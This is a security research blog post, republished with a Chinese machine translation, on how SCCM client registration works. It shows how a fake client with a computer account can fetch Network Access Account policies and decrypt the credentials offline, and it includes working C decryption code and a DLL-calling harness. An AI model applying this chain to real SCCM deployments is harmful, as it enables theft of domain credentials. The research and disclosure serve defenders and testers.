Exploring SCCM by Unobfuscating Network Access Accounts

Configuration Manager (or SCCM as it will forever be known) has recently had a spike in researcher popularity, with posts coming from the community around coercion of authentication from Chris Thompson (@_Mayyhem) and retrieving Network Access Accounts via DPAPI from Duane Michael (@subatOmik).
Configuration Manager(或永远称为 SCCM)最近在研究人员的受欢迎程度上飙升,来自社区的帖子围绕着 Chris Thompson (@_Mayyhem) 的身份验证强制执行和通过 DPAPI 检索 Duane Michael (@subatOmik) 的网络访问帐户。

One of the things that caught my attention while reading these posts was just how much I didn’t understand about the technologies underpinning SCCM, and how things actually work beneath the surface of these systems.
在阅读这些帖子时,引起我注意的一件事是,我对支撑SCCM的技术以及这些系统表面下的实际工作方式知之甚少。

After a bit of digging, reversing and debugging, I wanted to share a few of the areas that I found interesting. So in this post we’ll explore just how SCCM uses its HTTP API to initialise a client. We will also take a look at how Network Access Accounts are retrieved from SCCM, and how we can decrypt these credentials without having to go anywhere near DPAPI or an Administrator account.
经过一番挖掘、反转和调试,我想分享一些我觉得有趣的领域。因此,在这篇文章中,我们将探讨 SCCM 如何使用其 HTTP API 来初始化客户端。我们还将了解如何从 SCCM 检索网络访问帐户,以及如何解密这些凭据,而无需靠近 DPAPI 或管理员帐户。

Lab Setup 实验室设置

For our lab setup, we’re going to use a default SCCM deployment. The easiest way I’ve found to do this is via Automated Lab which supports installation via the ConfigurationManager role:
对于实验室设置,我们将使用默认的 SCCM 部署。我发现最简单的方法是通过自动化实验室,它支持通过以下 ConfigurationManager 角色进行安装:

Add-LabMachineDefinition -Name SCCM01 -Memory 4GB -Roles ConfigurationManager -OperatingSystem 'Windows Server 2019 Standard Evaluation (Desktop Experience)' -Network "lab.local" -DomainName lab.local

The version we’ll be using for this post is Configuration Manager 2103 and we’ll be naming our primary site as P01. The server for this lab will be called SCCM01 and we’ll configure to use HTTP for communication.
我们将在这篇文章中使用的版本是 Configuration Manager 2103,我们将主站点命名为 P01 .将调用 SCCM01 此实验室的服务器,我们将配置为使用 HTTP 进行通信。

Once setup of the SCCM server is complete, we’ll leave everything as standard and add in a Network Access Account for later:
SCCM 服务器设置完成后,我们将保留所有内容作为标准,并添加网络访问帐户以供以后使用:

Exploring SCCM by Unobfuscating Network Access Accounts

And with that done, we can move on to exploring this beast!
完成这些后,我们可以继续探索这只野兽!

Client Registration 客户注册

Let’s begin by looking at the request generated when a client attempts to register with SCCM. To do this let’s use @_Mayyhem awesome SharpSCCM tool via:
让我们先看一下客户端尝试向 SCCM 注册时生成的请求。为此@_Mayyhem让我们通过以下方式使用很棒的 SharpSCCM 工具:

SharpSCCM.exe SCCM01 P01 invoke client-push -t 192.168.130.90

As SharpSCCM calls into the actual .NET client libraries, we get a nice clean request which we can identify with WireShark. Here we see the initial step that a client takes to register itself with the SCCM server:
当 SharpSCCM 调用实际的 .NET 客户端库时,我们会得到一个很好的干净的请求,我们可以用 WireShark 来识别它。在这里,我们看到客户端向 SCCM 服务器注册自身所采取的初始步骤:

Exploring SCCM by Unobfuscating Network Access Accounts

This HTTP request is sent to the SCCM server and is made up of two parts, those being an XML encoded header and an XML encoded body sent in a multipart/mixed HTTP request. Interestingly the protocol also uses a HTTP method of CCM_POST.
此 HTTP 请求发送到 SCCM 服务器,由两部分组成,即 multipart/mixed XML 编码标头和在 HTTP 请求中发送的 XML 编码正文。有趣的是,该协议还使用了 HTTP CCM_POST 方法。

The header is UTF-16 encoded and looks like this:
标头经过 UTF-16 编码,如下所示:

<Msg ReplyCompression="zlib" SchemaVersion="1.1">
	<Body Type="ByteRange" Length="1856" Offset="0" />
	<CorrelationID>{00000000-0000-0000-0000-000000000000}</CorrelationID>
	<Hooks>
	<Hook3 Name="zlib-compress" />
	</Hooks>
	<ID>{8A97CAC8-5FB4-433A-90A6-E8F2963C7E0B}</ID>
	<Payload Type="inline" />
	<Priority>0</Priority>
	<Protocol>http</Protocol>
	<ReplyMode>Sync</ReplyMode>
	<ReplyTo>direct:PROMETHEUS:SccmMessaging</ReplyTo>
	<SentTime>2022-07-09T12:22:44Z</SentTime>
	<SourceHost>PROMETHEUS</SourceHost>
	<TargetAddress>mp:MP_ClientRegistration</TargetAddress>
	<TargetEndpoint>MP_ClientRegistration</TargetEndpoint>
	<TargetHost>SCCM01</TargetHost>
	<Timeout>60000</Timeout>
</Msg>

The body of the request is zlib compressed and Unicode encoded (without a UTF-16 BOM, there are a lot of inconsistencies in SCCM as you’ll note going through this post):
请求的正文是 zlib 压缩的,并且是Unicode编码的(没有, UTF-16 BOM SCCM中有很多不一致的地方,你会注意到这篇文章):

<ClientRegistrationRequest>
  <Data HashAlgorithm="1.2.840.113549.1.1.11" SMSID="" RequestType="Registration" TimeStamp="2022-07-09T12:28:03Z">
    <AgentInformation AgentIdentity="CCMSetup.exe" AgentVersion="5.00.8325.0000" AgentType="0" />
    <Certificates>
      <Signing Encoding="HexBinary" KeyType="1">308202EA308201D...012BEC830814D1FB9D6D98D4D523529C65673520730C8BFC</Signing>
      <Encryption Encoding="HexBinary" KeyType="1">308202EA308201D...012BEC830814D1FB9D6D98D4D523529C65673520730C8BFC</Encryption>
    </Certificates>
    <DiscoveryProperties>
      <Property Name="Netbios Name" Value="SCCM01" />
      <Property Name="FQ Name" Value="SCCM01" />
      <Property Name="Locale ID" Value="2057" />
      <Property Name="InternetFlag" Value="0" />
    </DiscoveryProperties>
  </Data>
  <Signature>
    <SignatureValue>E41278D8E02099E8C0901209...85E91E1BE132</SignatureValue>
  </Signature>
</ClientRegistrationRequest>

I’ve trimmed some of the longer hex string for brevity, but what we see here is the three hex blobs are being sent over to the server along with some initial information about our client.
为了简洁起见,我修剪了一些较长的十六进制字符串,但我们在这里看到的是三个十六进制 blob 以及有关我们客户端的一些初始信息被发送到服务器。

Let’s dump out the Signing blob:
让我们转储出 Signing blob:

cert = bytes.fromhex("308202EA308201D2A00302010202...DD38D6905E7F846EB80EE114EAE37A1CE48722AB012BEC830814D1FB9D6D98D4D523529C65673520730C8BFC")
open("/mnt/c/Users/xpn/Desktop/out.cer", "wb").write(cert)

If we look at this, we actually see that this is a DER encoded certificate:
如果我们看一下这个,我们实际上看到这是一个 DER 编码的证书:

Exploring SCCM by Unobfuscating Network Access Accounts

When generating this certificate, there are two Extended Key Usage OID’s added:
生成此证书时,添加了两个扩展密钥用法 OID:

Exploring SCCM by Unobfuscating Network Access Accounts

These mark the certificate as SMS Signing Certificate (Self-Signed).
这些证书将证书标记为 SMS Signing Certificate (Self-Signed) 。

So we see that the client certificate is being passed to the SCCM server for later use, but what about that SignatureValue field? Well let’s fire up dnSpy and dig into the System.ConfigurationManagement.Messaging.dll assembly which is found in C:\Windows\CCM on a host with the client installed.
因此,我们看到客户端证书正在传递给 SCCM 服务器以供以后使用,但是该 SignatureValue 字段呢?好吧,让我们启动 dnSpy 并深入研究 C:\Windows\CCM 在安装了客户端的主机上找到的 System.ConfigurationManagement.Messaging.dll 程序集。

After some hunting we find our answer in Interop.Crypt32.HashAndSignData:
经过一番寻找,我们找到了答案 Interop.Crypt32.HashAndSignData :

Exploring SCCM by Unobfuscating Network Access Accounts

This shows us that RSA-SHA256 with PKCSv15 padding is being used to sign the XML request body with the RSA private key associated with the certificate.
这向我们表明, RSA-SHA256 使用 PKCSv15 填充来使用与证书关联的 RSA 私钥对 XML 请求正文进行签名。

One weird thing to note here is that once the signature is generated, the bytes are reversed before being ASCII hex encoded and added to the request ¯\_(ツ)_/¯ .
这里需要注意的一件奇怪的事情是,一旦生成签名,字节就会在被 ASCII 十六进制编码并添加到请求 ¯\_(ツ)_/¯ 之前被反转。

When the server responds to this client registration request, we again see there is a XML header and body, with the body data being zlib compressed. Here we see that we are assigned our ClientID which is a UUID used throughout our clients communication with the server:
当服务器响应此客户端注册请求时,我们再次看到有一个 XML 标头和正文,正文数据被 zlib 压缩。在这里,我们看到我们被分配了我们的 ClientID UUID ,这是我们与服务器的整个客户端通信中使用的:

<ClientRegistrationResponse ResponseType="Registration" TimeStamp="2022-07-09T13:56:57Z" Status="1" SMSID="GUID:2F62EFEF-AB6B-4B91-B8C5-3DA475A5B166" ApprovalStatus="0"/>

It is worth noting at this stage that this request can be sent to the unauthenticated SCCM URL of http://SCCM01/ccm_system/request. This is enough to add a client entry to SCCM, however we’ll be in a “Not Approved” status. This status will become important later:
在此阶段值得注意的是,此请求可以发送到未经身份验证的 http://SCCM01/ccm_system/request SCCM URL。这足以将客户端条目添加到 SCCM,但是我们将处于“未批准”状态。此状态稍后将变得重要:

Exploring SCCM by Unobfuscating Network Access Accounts

Policy Requests 策略请求

Once the client is registered, the next stage that the client takes is to retrieve a list of policies. This call is also made to http://SCCM01/ccm_system/request using the <RequestAssignments> XML request. Let’s look at the header first, which is again Unicode encoded:
注册客户端后,客户端执行的下一阶段是检索策略列表。此调用也是对 http://SCCM01/ccm_system/request 使用 <RequestAssignments> XML 请求进行的。让我们先看一下标题,它也是Unicode编码的:

<Msg ReplyCompression="zlib" SchemaVersion="1.1">
  <Body Type="ByteRange" Length="748" Offset="0" />
  <CorrelationID>{00000000-0000-0000-0000-000000000000}</CorrelationID>
  <Hooks>
    <Hook2 Name="clientauth">
      <Property Name="AuthSenderMachine">WIBBLE</Property>
      <Property Name="PublicKey">0602000000A400005253413100...19302982F4A02BF38F</Property>
      <Property Name="ClientIDSignature">7FFFF934E6D7...B95471661</Property>
      <Property Name="PayloadSignature">F04286EE1E8C14...18C04C7E23C10</Property>
      <Property Name="ClientCapabilities">NonSSL</Property>
      <Property Name="HashAlgorithm">1.2.840.113549.1.1.11</Property>
    </Hook2>
    <Hook3 Name="zlib-compress" />
  </Hooks>
  <ID>{041A35B4-DCEE-4F64-A978-D4D489F47D28}</ID>
  <Payload Type="inline" />
  <Priority>0</Priority>
  <Protocol>http</Protocol>
  <ReplyMode>Sync</ReplyMode>
  <ReplyTo>direct:WIBBLE:SccmMessaging</ReplyTo>
  <SentTime>2022-07-09T12:43:37Z</SentTime>
  <SourceID>GUID:2F62EFEF-AB6B-4B91-B8C5-3DA475A5B166</SourceID>
  <SourceHost>WIBBLE</SourceHost>
  <TargetAddress>mp:MP_PolicyManager</TargetAddress>
  <TargetEndpoint>MP_PolicyManager</TargetEndpoint>
  <TargetHost>sccm01</TargetHost>
  <Timeout>60000</Timeout>
</Msg>

Unfortunately this is where things get a bit more complicated. The first bit we need to focus on will be the PublicKey blob. This is actually just the RSA public key that the client generated earlier for the certificate, however this time it is encoded into a PUBLICKEYBLOB (documented by Microsoft here).
不幸的是,这就是事情变得更加复杂的地方。我们需要关注的第一位是 PublicKey blob。这实际上只是客户端之前为证书生成的 RSA 公钥,但是这次它被编码为 ( PUBLICKEYBLOB 由 Microsoft 在此处记录)。

Next is the ClientIDSignature. This is the RSA-SHA256 signature that we saw earlier being used to sign the ClientID, prepended with GUID: and then converted to Unicode. For example:
接下来是 ClientIDSignature .这是我们之前看到的用于对 ClientID 进行签名的 RSA-SHA256 签名,前面加上 GUID: ,然后转换为 Unicode。例如:

clientID = f"GUID:{clientID.upper()}"
clientIDSignature = CryptoTools.sign(key, clientID.encode('utf-16')[2:] + "\x00\x00".encode('ascii')).hex().upper()

Finally is the PayloadSignature, which is the signature of the compressed body which follows.
最后是 PayloadSignature ,它是后面压缩体的签名。

The body of this request is zlib compressed and Unicode encoded with information on our client:
此请求的正文已 zlib 压缩并使用我们客户端上的信息进行 Unicode 编码:

<RequestAssignments SchemaVersion="1.00" ACK="false" RequestType="Always">
  <Identification>
    <Machine>
      <ClientID>GUID:2F62EFEF-AB6B-4B91-B8C5-3DA475A5B166</ClientID>
      <FQDN>wibble.lab.local</FQDN>
      <NetBIOSName>WIBBLE</NetBIOSName>
      <SID />
    </Machine>
    <User />
  </Identification>
  <PolicySource>SMS:PRI</PolicySource>
  <Resource ResourceType="Machine" />
  <ServerCookie />
</RequestAssignments>

The response to this request is a list of policies available within the XML body:
对此请求的响应是 XML 正文中可用的策略列表:

<ReplyAssignments SchemaVersion="1.00" ReplyType="Full">
  <Identification>
    <Machine>
      <ClientID>GUID:2F62EFEF-AB6B-4B91-B8C5-3DA475A5B166</ClientID>
      <FQDN>wibble.lab.local</FQDN>
      <NetBIOSName>WIBBLE</NetBIOSName>
      <SID />
    </Machine>
    <User />
  </Identification>
  <PolicySource>SMS:PRI</PolicySource>
  <Resource ResourceType="Machine" />
  <ServerCookie>2022-07-09 12:13:35.557</ServerCookie>
  <Signature>
    <Reference PolicyAssignmentID="{d3bbcb63-3674-4a06-8cb7-9fdc6bd11910}">
      <SignatureAlgorithm AlgID="32780">1.2.840.113549.1.1.11</SignatureAlgorithm>
      <SignatureValue>BE7273D6DD9CF8D412AADA571C807407329B50B795958E4996948214AEFA45CF297D60BAE5CAE6E14562B3C1786ABA12049355542F57300A680A566D32032807291EE2EAFA846073410CC91237D7F480477E268975CECC3D6479B6AA3AAE4AD220ADE9D0E146569B0DD15BAB0BB437759676389ECB1947B8F18DEF8E5231F8D57427D47B0E13C3FC6ABA19E94CB14677A1FBA57BF54EB2F3EBBDFCBFDBCF64D4C94CA347E9643EC182DCA21D59F8C0E52CB0EB76D7AEA1AD07D1CA426EB60B4453058DC17286C7F1F3B17E9E2806945DFBFA84838B4A5763414FB949F793A770359E57F4E122030E39F8A8429308AB65867F076CDAF9B9CC8EF977F387463B53</SignatureValue>
    </Reference>
    ...
    <Policy PolicyID="CLIUPG00" PolicyVersion="1.00" PolicyType="Machine" PolicyFlags="192" PolicyPriority="25" PolicyCategory="ClientServicing">
      <PolicyLocation PolicyHash="SHA256:AE5D7E211F4CD0A608F1766B1F7775160D96E4223948344AB465535FF12EFFB7">
        <![CDATA[http://<mp>/SMS_MP/.sms_pol?CLIUPG00.SHA256:AE5D7E211F4CD0A608F1766B1F7775160D96E4223948344AB465535FF12EFFB7]]>
      </PolicyLocation>
    </Policy>
    </PolicyAssignment>
    <PolicyAssignment PolicyAssignmentID="{2de24657-8385-423d-a665-5e6ea0d48577}">
      <Condition>
        <Expression ExpressionLanguage="WQL" ExpressionType="until-true">
          <![CDATA[@root\ccm
  SELECT * FROM SMS_Client WHERE ClientVersion >= "4.00.5300.0000"
  ]]>
        </Expression>
      </Condition>
      <Policy PolicyID="{14898834-da15-4883-a5f6-163c7f51cb44}" PolicyVersion="1.00" PolicyType="Machine" PolicyCategory="UpdateSource" PolicyFlags="16" PolicyPriority="25">
        <PolicyLocation PolicyHash="SHA256:D74C9C232340DDD3CF0DBEB9661494F0F7CF4ABCEF442EEDDB3573D039A4A05B" PolicyHashEx="SHA1:BDC41D6E23254D53355A5F03D3527BFFE1278E7E">
          <![CDATA[http://<mp>/SMS_MP/.sms_pol?{14898834-da15-4883-a5f6-163c7f51cb44}.1_00]]>
        </PolicyLocation>
      </Policy>
    </PolicyAssignment>

While there is a lot of interesting stuff in here, the area that we are going to focus on for now will be just how Network Access Account’s are shared, because who doesn’t love free credentials during an engagement!
虽然这里有很多有趣的东西,但我们现在要关注的领域将是如何共享网络访问帐户的,因为谁不喜欢在参与期间的免费凭据!

Secret Policies 机密策略

If you traverse the list of policies we retrieved, you are bound to come upon policies marked as “secret”. One such policy is NAAConfig, which contain Network Access Accounts:
如果您遍历我们检索到的策略列表,您一定会遇到标记为“机密”的策略。其中一种策略是 NAAConfig ,其中包含网络访问帐户:

<Policy PolicyID="{59da9633-0779-40ee-aea9-8493c7a53cf6}" PolicyVersion="2.00" PolicyType="Machine" PolicyCategory="NAAConfig" PolicyFlags="30" PolicyPriority="20">
  <PolicyLocation PolicyHash="SHA256:3B4F3170F46137D72339976BE960EA56F74494B06C29D6084E4E16F30A40925D" PolicyHashEx="SHA1:B206D493FC7B521AE2F179422DC7533FD5FDBA0E">
  <![CDATA[http://<mp>/SMS_MP/.sms_pol?{59da9633-0779-40ee-aea9-8493c7a53cf6}.2_00]]>
  </PolicyLocation>
</Policy>

You may have seen these accounts referenced by @gentilkiwi in his release of a Mimikatz update in 2021, which shows that typically these credentials are found encrypted using DPAPI on a SCCM client:
您可能已经看到 @gentilkiwi 在 2021 年发布的 Mimikatz 更新中引用了这些帐户,该更新显示,通常发现这些凭据是在 SCCM 客户端上使用 DPAPI 加密的:

Exploring SCCM by Unobfuscating Network Access Accounts

If however we try and directly download this policy using the URL returned by the RequestAssignments request, we see that we get an error.
但是,如果我们尝试使用 RequestAssignments 请求返回的 URL 直接下载此策略,我们会看到出现错误。

Exploring SCCM by Unobfuscating Network Access Accounts

The reason for this is that requests for secret policies need to be authenticated. But as this is SCCM, there is yet another type of authentication that needs to take place.
这样做的原因是需要对机密策略的请求进行身份验证。但是,由于这是SCCM,因此需要进行另一种类型的身份验证。

After some late night hunting, I found a reference to the type of authentication used in a DLL called ccmgencert.dll on the SCCM server:
经过一些深夜的搜索,我找到了对 SCCM 服务器上调用 ccmgencert.dll 的 DLL 中使用的身份验证类型的引用:

Exploring SCCM by Unobfuscating Network Access Accounts

These headers are actually pretty straight forward to create now that we know some of the signing methods used. Looking at clients being added to the SCCM platform, we see that they look like this:
这些标头实际上非常容易创建,因为我们知道了一些使用的签名方法。查看添加到 SCCM 平台的客户端,我们看到它们如下所示:

Exploring SCCM by Unobfuscating Network Access Accounts

The ClientToken is just a concatenation of our ClientID and the current DateTime. The ClientTokenSignature is the signature of this using the same RSA-SHA256 algorithm above.
这只是 ClientToken 我们 ClientID 和当前 DateTime 的串联。 ClientTokenSignature 这是使用上述相同 RSA-SHA256 算法的签名。

Let’s add these headers to our request and see where that get us:
让我们将这些标头添加到我们的请求中,看看它能让我们在哪里找到:

Exploring SCCM by Unobfuscating Network Access Accounts

This time we get a different response. I mean we get no error which is good… but we also don’t get any data which isn’t great.
这一次我们得到了不同的回应。我的意思是我们没有错误,这很好……但我们也没有得到任何不是很好的数据。

It turns out that for our client to actually request the secret policy, they need to be in an Approved status on the server.
事实证明,要使我们的客户实际请求密钥策略,他们需要在服务器上处于“已批准”状态。

By default SCCM is installed with the following:
默认情况下,SCCM 安装时会安装以下内容:

Exploring SCCM by Unobfuscating Network Access Accounts

So how does a computer automatically approve itself? Well there is another URL used by clients of /ccm_system_windowsauth/request. If the XML ClientRegistrationRequest from earlier is sent to this path and completes the NTLMSSP dance to authenticate a computer account, the client is set to an Approved status:
那么计算机是如何自动批准自己的呢?好吧,还有另一个 URL 被 的 /ccm_system_windowsauth/request 客户端使用。如果将前面的 XML ClientRegistrationRequest 发送到此路径并完成对计算机帐户进行身份验证的 NTLMSSP 舞蹈,则客户端将设置为以下 Approved 状态:

Exploring SCCM by Unobfuscating Network Access Accounts

Now when authenticating to this URL, it appears that we can use any random domain user account. The issue however is that it doesn’t appear to be enough to force the client into an Approved status. Instead we need to use a computer account (although it doesn’t need to correspond to the client we are attempting to register), so addcomputer.py is your friend here ;).
现在,在对此 URL 进行身份验证时,我们似乎可以使用任何随机域用户帐户。然而,问题在于,这似乎不足以迫使客户端进入“已批准”状态。相反,我们需要使用计算机帐户(尽管它不需要与我们尝试注册的客户端相对应), addcomputer.py 您的朋友在这里;)也是如此。

Exploring SCCM by Unobfuscating Network Access Accounts

By adding this authentication step to our registration request and forcing our client into an Approved status, the next time we make a request for the NAAConfig policy, we get something that looks like this:
通过将此身份验证步骤添加到我们的注册请求中并强制客户端进入“已批准”状态,下次我们请求 NAAConfig 策略时,我们会得到如下所示的内容:

Exploring SCCM by Unobfuscating Network Access Accounts

Obviously something isn’t right. A bit more of a review shows that this policy is encrypted.. but how?
显然有些不对劲。更多的审查表明此策略是加密的。但是如何?

Well back into dnSpy we go to try and figure it out. The answer is found in the method Interop.DecryptMessageFromCertificateFile which shows the use of the CryptDecryptMessage API call.
好吧,回到 dnSpy,我们去尝试弄清楚。答案可以在显示 CryptDecryptMessage API 调用使用的方法 Interop.DecryptMessageFromCertificateFile 中找到。

Exploring SCCM by Unobfuscating Network Access Accounts

The parameters show that this encrypted policy is a PKCS7 encoded blob using 3DES CBC with the key derived the RSA public key we provided in the certificate earlier.
参数显示,此加密策略是一个 PKCS7 编码的 Blob,使用 3DES CBC 我们之前在证书中提供的 RSA 公钥派生的密钥。

Decrypted, we finally get a glimpse of some actual credentials, which look like this:
解密后,我们终于瞥见了一些实际的凭据,如下所示:

<PolicyAction PolicyActionType="WMI-XML">
<instance class="CCM_NetworkAccessAccount">
        <property name="SiteSettingsKey" type="19">
                <value>
                        <![CDATA[1]]>
                </value>
        </property>
        <property name="NetworkAccessUsername" type="8" secret="1">
                <value>
                        <![CDATA[89130000703994099597EDB7733621248D4F9D474995679D1B487564356E34E63FEE0855F34044F494E49A7B140000002000000028000000036600000000000015893849FA928387D5C783FA23676ED8DA6AB4275A31D653F3F5DB6DF860521B9B33AB0CF12669F1]]>
                </value>
        </property>
        <property name="NetworkAccessPassword" type="8" secret="1">
                <value>
                        <![CDATA[891300006EAF8A754B534B691C67C13FFCDA144F864E3357F5639FB97AFE6996346AFC67731CB8A42263758F140000002600000028000000036600000000000072BC4B88AD4836013A83108D80FE3AEF80B90D2E6B39FF92014A51DCD492D7EF9C81E46E1795542E00006C000000]]>
                </value>
        </property>
        <property name="Reserved1" type="8">
                <value>

                </value>
        </property>
        <property name="Reserved2" type="8">
                <value>
                </value>
        </property>
        <property name="Reserved3" type="8">
                <value>
                </value>
        </property>
</instance>

</PolicyAction>

Great, more encryption… or is it!?
太好了,更多加密…或者是!?

Network Access Account Obfuscation
网络访问帐户混淆

At first it appears that there is more crypto required to grab these accounts. But MimiKatz has shown us that these credentials end up accessible on the client, so we know that our client has to be able to decrypt these credentials somehow before protecting them with DPAPI… so just what is the key? After a bit more late night hunting for just how this crypto is done, I found a DLL on the client called PolicyAgent.dll.
乍一看,似乎需要更多的加密货币来获取这些账户。但是 MimiKatz 向我们展示了这些凭据最终可以在客户端上访问,因此我们知道,在使用 DPAPI 保护这些凭据之前,我们的客户端必须能够以某种方式解密这些凭据……那么关键是什么呢?经过一番深夜的搜索,我发现客户端上有一个名为 PolicyAgent.dll .

Of immediate interest is the debug string:
最令人感兴趣的是调试字符串:

Exploring SCCM by Unobfuscating Network Access Accounts

UnobfuscateString sounds promising, and certainly sounds better than DecryptString ;). Instead of digging into all the bits of this disassembly (the night was getting long), I cheated and created a quick debugging harness to call the function.
UnobfuscateString 听起来很有希望,当然听起来比 DecryptString ;)好。我没有深入研究这个反汇编的所有部分(夜晚越来越长),而是作弊并创建了一个快速调试工具来调用该函数。

#include <iostream>
#include <string>
#include <Windows.h>

typedef void (*UnobfuscateString)(wchar_t* input, std::string& output);

int main()
{
    std::string out;
    UnobfuscateString callme;
    char* mod = (char*)LoadLibraryA("PolicyAgent.dll");
    callme = (UnobfuscateString)(mod+0xd31c);
    
    wchar_t data[] = L"891300008110B139753DD4FA42363BCE86A90039E49DF5FC74F5C8DC9D783C662D008B02D50D832AD4B7C17A1400000022000000280000000366000000000000E5CAF108CA9D560E2A905D0D1975637651D1A9C081A1DACBEA5F400B049546BC97A8CC7EE5CC213D6C00";

    callme(data, out);
}

When running on a host unassociated with the SCCM lab network, and while attached to a debugger to step through the inevitable access violations which occur by calling the method in this way, what we see is something very promising:
当在与 SCCM 实验室网络无关的主机上运行时,并且当连接到调试器以单步执行以这种方式调用方法时发生的不可避免的访问冲突时,我们看到的是非常有希望的事情:

Exploring SCCM by Unobfuscating Network Access Accounts

Yup.. that’s our decrypted username. Is the same true with the password… yes!
是的。。这是我们解密的用户名。密码也一样…是的!

Exploring SCCM by Unobfuscating Network Access Accounts

So that means that the crypto used is exactly as described, it’s obfuscation! We have all the information we need to decrypt these credentials in the cipher-text itself… and we can do this completely offline!
因此,这意味着使用的加密货币与描述的完全相同,这是混淆!我们拥有在密文本身中解密这些凭据所需的所有信息……我们可以完全离线完成此操作!

Recreating the steps of the unobfuscation method, we can create the decryption code that looks like this
重新创建解混淆方法的步骤,我们可以创建如下所示的解密代码

#include <iostream>
#include <windows.h>
#include <wincrypt.h>

// https://stackoverflow.com/questions/17261798/converting-a-hex-string-to-a-byte-array
int char2int(char input)
{
    if (input >= '0' && input <= '9')
        return input - '0';
    if (input >= 'A' && input <= 'F')
        return input - 'A' + 10;
    if (input >= 'a' && input <= 'f')
        return input - 'a' + 10;
    throw std::invalid_argument("Invalid input string");
}

void hex2bin(const char* src, char* target)
{
    while (*src && src[1])
    {
        *(target++) = char2int(*src) * 16 + char2int(src[1]);
        src += 2;
    }
}

int main(int argc, char **argv)
{
    HCRYPTPROV prov, prov2;
    HCRYPTHASH hash;
    HCRYPTKEY cryptKey;
    BYTE buffer[1024];

    if (argc != 2) {
        return 1;
    }

    char *input = argv[1];

    // Check the header
    if (input[0] != '8' || input[1] != '9') {
        return 1;
    }

    char* output = (char*)malloc(strlen(input) / 2);
    if (output == NULL) {
        return 1;
    }

    // Convert to bytes
    hex2bin(input, output);

    // Get data length
    DWORD len = *(DWORD*)(output + 52);

	if (len > sizeof(buffer)) { 
		return 2;
	}

    // Hash length
    memcpy(buffer, output + 64, len);

    // Do the "crypto" stuff
    CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
    CryptCreateHash(prov, CALG_SHA1, 0, 0, &hash);
    CryptHashData(hash, (const BYTE*)output + 4, 0x28, 0);
    CryptDeriveKey(prov, CALG_3DES, hash, 0, &cryptKey);
    CryptDecrypt(cryptKey, 0, 1, 0, buffer, &len);

    // Output
    wprintf(L"%s\n", buffer);
   
    free(buffer);

    return 0;
}

Let’s put everything together as I know that is a lot of rambling.. so what do we have? Armed with a computer account, we have the ability to add a fake client to SCCM, download encrypted Network Access Account credentials, and unobfuscate them without having to deal with elevating privileges or any DPAPI decryption.. could be pretty useful.
让我们把所有东西放在一起,因为我知道这是很多漫无边际的……那么我们有什么呢?有了计算机帐户,我们就可以将虚假客户端添加到 SCCM,下载加密的网络访问帐户凭据,并对其进行混淆处理,而无需处理提升权限或任何 DPAPI 解密。可能非常有用。

While exploring this, I cobbled together a very rough Python script which when provided with a few params, should give you a decrypted NAAConfig policy from your lab where the credentials can be decrypted using the above C script:
在探索这个问题时,我拼凑了一个非常粗糙的 Python 脚本,当提供一些参数时,应该会给你一个来自实验室的解密 NAAConfig 策略,其中可以使用上面的 C 脚本解密凭据:

The POC code can be found here.
POC代码可以在这里找到。

原文始发于XPN’s InfoSec Blog:Exploring SCCM by Unobfuscating Network Access Accounts

版权声明:admin 发表于 2024年3月27日 下午11:30。
转载请注明:Exploring SCCM by Unobfuscating Network Access Accounts | CTF导航

相关文章